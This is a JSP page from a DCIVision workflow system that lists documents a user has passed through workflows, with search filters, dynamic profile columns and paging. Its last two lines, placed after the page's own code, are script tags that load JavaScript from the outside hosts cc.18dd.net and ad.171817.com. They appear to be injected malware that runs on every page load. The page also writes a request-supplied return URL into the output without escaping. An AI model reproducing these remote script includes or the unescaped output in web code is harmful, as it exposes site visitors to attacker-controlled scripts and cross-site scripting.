<%
/*
 * @(#)ListWorkflowDocThroughUser.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowDocThroughUser.jsp

  This is a ListWorkflowDocThroughUser page.  It shows the active workflow progress pending for the user to finish in EIP.

    @author             Lun Au
    @company            DCIVision Ltd
    @creation date      28/11/2004
    @version            $Revision: 1.18.26.7 $
*/

%>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.sql.Connection"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>

<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowDocThroughUserForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowDocThroughUserForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<%try{

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowDocThroughUserList";

  int totalFieldCount = Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT));
  List labelList = new ArrayList();
  labelList.add ( new String[]{"ID", "ID"} );
//  labelList.add ( new String[]{"dms.label.reference_no", "D.REFERENCE_NO"} );
  labelList.add ( new String[]{"dms.columnheader.profile_name", "UDF.USER_DEFINED_TYPE"} );
  labelList.add ( new String[]{"dms.label.name_label_D", "D.DOCUMENT_NAME"} );
  for(int j=0; DMS_DEF_PROFILE.size()>0 && j<totalFieldCount-3;j++){
     DmsDefaultProfileSetting setting = ((DmsDefaultProfileSetting)DMS_DEF_PROFILE.get(j));
    String tmp_column[] = {"*_"+setting.getFieldName(), "D.USER_DEF_"+(j+1)};
    labelList.add(tmp_column);
  }
  labelList.add ( new String[]{"common.label.period_from", "U.FULL_NAME"} );
  labelList.add ( new String[]{"common.label.period_to", GlobalConstant.NOT_AVAILABLE} );
  labelList.add ( new String[]{"workflow.columnheader.status", "STATUS"} );
  labelList.add ( new String[]{"common.columnheader.update_date", "UPDATE_DATE"} );
  labelList.add ( new String[]{"workflow.columnheader.track_id", "TRACK_ID"} );

  String[][]  LABEL_MAP = new String[labelList.size()][2];
  labelList.toArray(LABEL_MAP);

  String[][] SEARCH_MAP = { {"workflow.columnheader.track_id", "A.TRACK_ID"},
                            {"workflow.columnheader.workflow_code", "C.WORKFLOW_CODE"},
                            {"workflow.columnheader.category", "D.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "C.DESCRIPTION"}
                          };

  String[][] searchStatusArr = {{MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.all"),""},
//                  {MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_S"),WorkflowProgress.STATUS_SUBMIT},
                  {MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_P"),WorkflowProgress.STATUS_PENDING},
                  {MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_G"),WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT} };

  int COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.WORKFLOW_MONITOR);
%>
<script language="JavaScript">
<!--
function CusOpListReset(frm) {
  frm.status.selectedIndex = -1;
  frm.actionTaker.value = "";
  frm.datePeriodFrom.value = "";
  frm.datePeriodTo.value = "";
  return OpListReset(frm);
}

function CusOpList(frm,par1,par2) {
  return OpList(frm,par1,par2);
}

-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowDocThroughUser" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="workflowGroupID"/>
<html:hidden property="returnTo"/>
<input type=hidden name="generateExcel" >
<input type=hidden name="generateAllExcel" >
<input type=hidden name="excelPageOffset">
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<bean:message key='workflow.label.doc_tran_list'/>]</font>
<layout:returnButton>
<%if((!Utility.isEmpty(listWorkflowDocThroughUserForm.getReturnTo()))&&
  (listWorkflowDocThroughUserForm.getReturnTo().indexOf("ListDmsPaperDocument.do")>0)){
%>
  <%=listWorkflowDocThroughUserForm.getReturnTo()%>
<%}else{%>
ListWorkflowMonitoringGroup.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
<%}%>


</layout:returnButton>
</layout:titleFormat>
<!-- Page Title Section End -->
<!-- Search Panel Begin -->
<table cellpadding="1" cellspacing="1" border="0" width="100%" height="40" background="<html:img src='LayoutFinderLongBg.gif'  pathOnly='true'/>">
  <tr>
    <td height='25' align="right"><b><bean:message key='workflow.search.date_period'/>:&nbsp;</b></td>
    <td>
      <html:datepicker property='datePeriodFrom'  onkeypress="onKeyPress();"/>
      <bean:message key='common.label.access_to'/>
      <html:datepicker property='datePeriodTo' onkeypress="onKeyPress();"/>
    </td>
    <td height='25' align="right"><b><bean:message key='workflow.search.status'/>:&nbsp;</b></td>
    <td>
      <html:select property="status" onkeypress="onKeyPress();">
        <html:options stringArray='<%=searchStatusArr%>' convertLabel='false' hasSelect='false'/>
      </html:select>
    </td>
  </tr>
    <%
      SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.WORKFLOW_MONITOR);
      if ( sessionContainer.getPermissionManager().hasAccessRight(sysFunction.getFunctionCode(),"*") ) {
    %>
  <tr>
    <td height='25' align="right"><b><bean:message key='workflow.search.action_taker'/>:&nbsp;</b></td>
    <td>
      <html:userpicker property='actionTaker'  onkeypress="onKeyPress();"/>
    </td>
  </tr>
  <%}%>
  <tr>
    <td height='25' colspan="4" align="center">&nbsp;&nbsp;      
      <html:standardButton label="common.label.search" onClick="return CusOpList(listWorkflowDocThroughUserForm, '${listWorkflowDocThroughUserForm.sortAttribute}', '${listWorkflowDocThroughUserForm.sortOrder}')"/>
      <html:standardButton label="common.label.reset" onClick="return CusOpListReset(listWorkflowDocThroughUserForm)"/>
    </td>
  </tr>
  <html:hidden property='basicSearchField'/>
  <html:hidden property='basicSearchKeyword'/>
</table>
<!-- Search Panel End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>
      <table border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td bgcolor="#000000" width="13"><table width="100%" border="0" cellspacing="1" cellpadding="0">
            <tr>
              <td bgcolor="#FFE5FA"><html:img src='Spacer.gif'  height='13' width='13'/></td>
            </tr>
          </table></td>
          <td><b><nobr>&nbsp;<bean:message key='workflow.label.delay_tasks'/></b></nobr></td>
          <td>&nbsp;&nbsp;</td>
          <td bgcolor="#000000" width="13"><table width="100%" border="0" cellspacing="1" cellpadding="0">
            <tr>
              <td bgcolor="#E5FFEA"><html:img src='Spacer.gif'  height='13' width='13'/></td>
            </tr>
          </table></td>
          <td><nobr><b>&nbsp;<bean:message key='workflow.label.on_time_tasks'/></b></nobr></td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowDocThroughUserForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowDocThroughUserForm.getSortAttribute()%>" sortOrder="<%=listWorkflowDocThroughUserForm.getSortOrder()%>" checkColumn='false' editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowProgress" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <bean:define id='status' name='workflowProgress' property='status' type='java.lang.String'/>
  <bean:define id='priority' name='workflowProgress' property='priority' type='java.lang.String'/>
  <% if ( ((WorkflowProgress)workflowProgress).isDelay() ) { %>
  <tr bgcolor="#FFE5FA">
  <% } else if ( !WorkflowProgress.STATUS_PENDING.equals(status) ) { %>
  <tr bgcolor="#E5FFEA">
  <% } else { %>
  <tr bgcolor="#FFFFFF">
  <% } %>
  <%
    Map dataMap = (Map)((WorkflowDocThroughUserRecord)workflowProgress).getRelatedObject();
    DmsDocument rootDocument = null;
    DmsDocument dmsDocument = (DmsDocument)dataMap.get("WORKFLOW_OBJECT");
  %>
<%--    <td><%=dmsDocument.getReferenceNo()%></td> --%>
    <td><nobr><dms:documentInfo docObject='<%=dmsDocument%>' permission='R' rootDocument='<%=rootDocument%>' linkFlag='false' showIndexLayer='true'/></nobr></td>
    <td class="bodyVerySmall"><bean:write name='workflowProgress' property='documentProfileName'/></td>
    <%for (int i = 0; DMS_DEF_PROFILE.size()>0 && i < totalFieldCount-3; i++) {%>
    <%
      DmsDefaultProfileSetting setting1 = ((DmsDefaultProfileSetting)DMS_DEF_PROFILE.get(i));
      Method getUserDef = workflowProgress.getClass().getMethod("getUserDef" + (i+1), null);
      String displayDate =(String) getUserDef.invoke(workflowProgress, null);
      java.sql.Timestamp tmpTimeStamp = null;
      if((DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(setting1.getFieldType()))&&(!Utility.isEmpty(displayDate))){
        displayDate = TextUtility.parseDBDateTime(displayDate);
      }
    %>
    <%if(DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(setting1.getFieldType())){%>
    <td class="bodyVerySmall" nowrap><%=Utility.isEmpty(displayDate)?"-":displayDate%>
    <%}else{%>
    <td align="center"><bean:write name='workflowProgress' property='<%="userDef"+(i+1)%>'/>
    <%}%>
    </td>
    <%}%>
    <td class="bodyVerySmall" nowrap  ><a href="javascript:void(0)" style="text-decoration:none" onmouseover="return getPopupInfo('Show Current Login User Information.')" onmouseout="return nd()" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/jsp/common/ViewUserBasicInfo.jsp?userRecordID=<%=((WorkflowProgress)workflowProgress).getCreatorID()%>','DCIVisionShowUserInfo',400,300,'scrollbars=yes')"><bean:write name='workflowProgress' property='creatorName'/></a></td>
    <td class="bodyVerySmall" nowrap><%
      List recipientList = new ArrayList();
      if(WorkflowProgress.STATUS_PENDING.equals(status)){
        Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
        MtmWorkflowDynamicUserActorDAObject dynamicActorDAO = new MtmWorkflowDynamicUserActorDAObject ( sessionContainer, conn );
        List dynamicActors = dynamicActorDAO.getListByWorkflowProgressID ( (((WorkflowProgress)workflowProgress).getID()) ) ;
        if ( dynamicActors.size() == 0 ) {
          // if there is no runtime assigned owner
          // use the "Dynamic Assigned" string
          recipientList.add ( "Not Assigned");
        } else {
          Iterator dynamicActorItr = dynamicActors.iterator();
          while ( dynamicActorItr.hasNext() ) {
            MtmWorkflowDynamicUserActor dynamicActor = (MtmWorkflowDynamicUserActor)dynamicActorItr.next();
            recipientList.add( dynamicActor.getActorName() );
          }
        }
      }else{
        recipientList.add("<a href=\"javascript:void(0)\" style=\"text-decoration:none\" onmouseover=\"return getPopupInfo('Show Current Login User Information.')\" onmouseout=\"return nd()\" onclick=\"return OpenCenteredPopup('"+request.getContextPath()+"/jsp/common/ViewUserBasicInfo.jsp?userRecordID="+((WorkflowProgress)workflowProgress).getUpdaterID()+"','DCIVisionShowUserInfo',400,300,'scrollbars=yes')\">"+UserInfoFactory.getUserFullName(((WorkflowProgress)workflowProgress).getUpdaterID())+"</a>");
      }
    %><%=recipientList%></td>
    <%
      if ( !Utility.isEmpty(status)&& status.startsWith(WorkflowProgress.STATUS_SUBMIT) ) {
        status = status.substring(0,1);
      }
    %>
    <td><font class="progress_status_<%=status%>"><bean:message key='<%="workflow.label.step_status_"+ status%>'/></font></td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td align="center">
      <a href="MaintWorkflowMonitoring.do?returnURL=<%=java.net.URLEncoder.encode("ListWorkflowDocThroughUser.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN)%>&navMode=V&trackID=<bean:write name='workflowProgress' property='trackID'/>&ID=<bean:write name='workflowProgress' property='workflowRecordID'/>&workflowGroupID=<bean:write name='listWorkflowDocThroughUserForm' property='workflowGroupID'/>" style="color:#0000FF;"><b><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), ((WorkflowProgress)workflowProgress).getTrackID() )%></b></a>
    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listWorkflowDocThroughUserForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">&nbsp;</td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
</td></tr></table>
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<%}catch(Exception ex){
  LogFactory.getLog(this.getClass()).error(ex, ex);
}%>
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)CusOpList(listWorkflowDocThroughUserForm, '<bean:write name='listWorkflowDocThroughUserForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowDocThroughUserForm' property='sortOrder' replace=''/>');
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>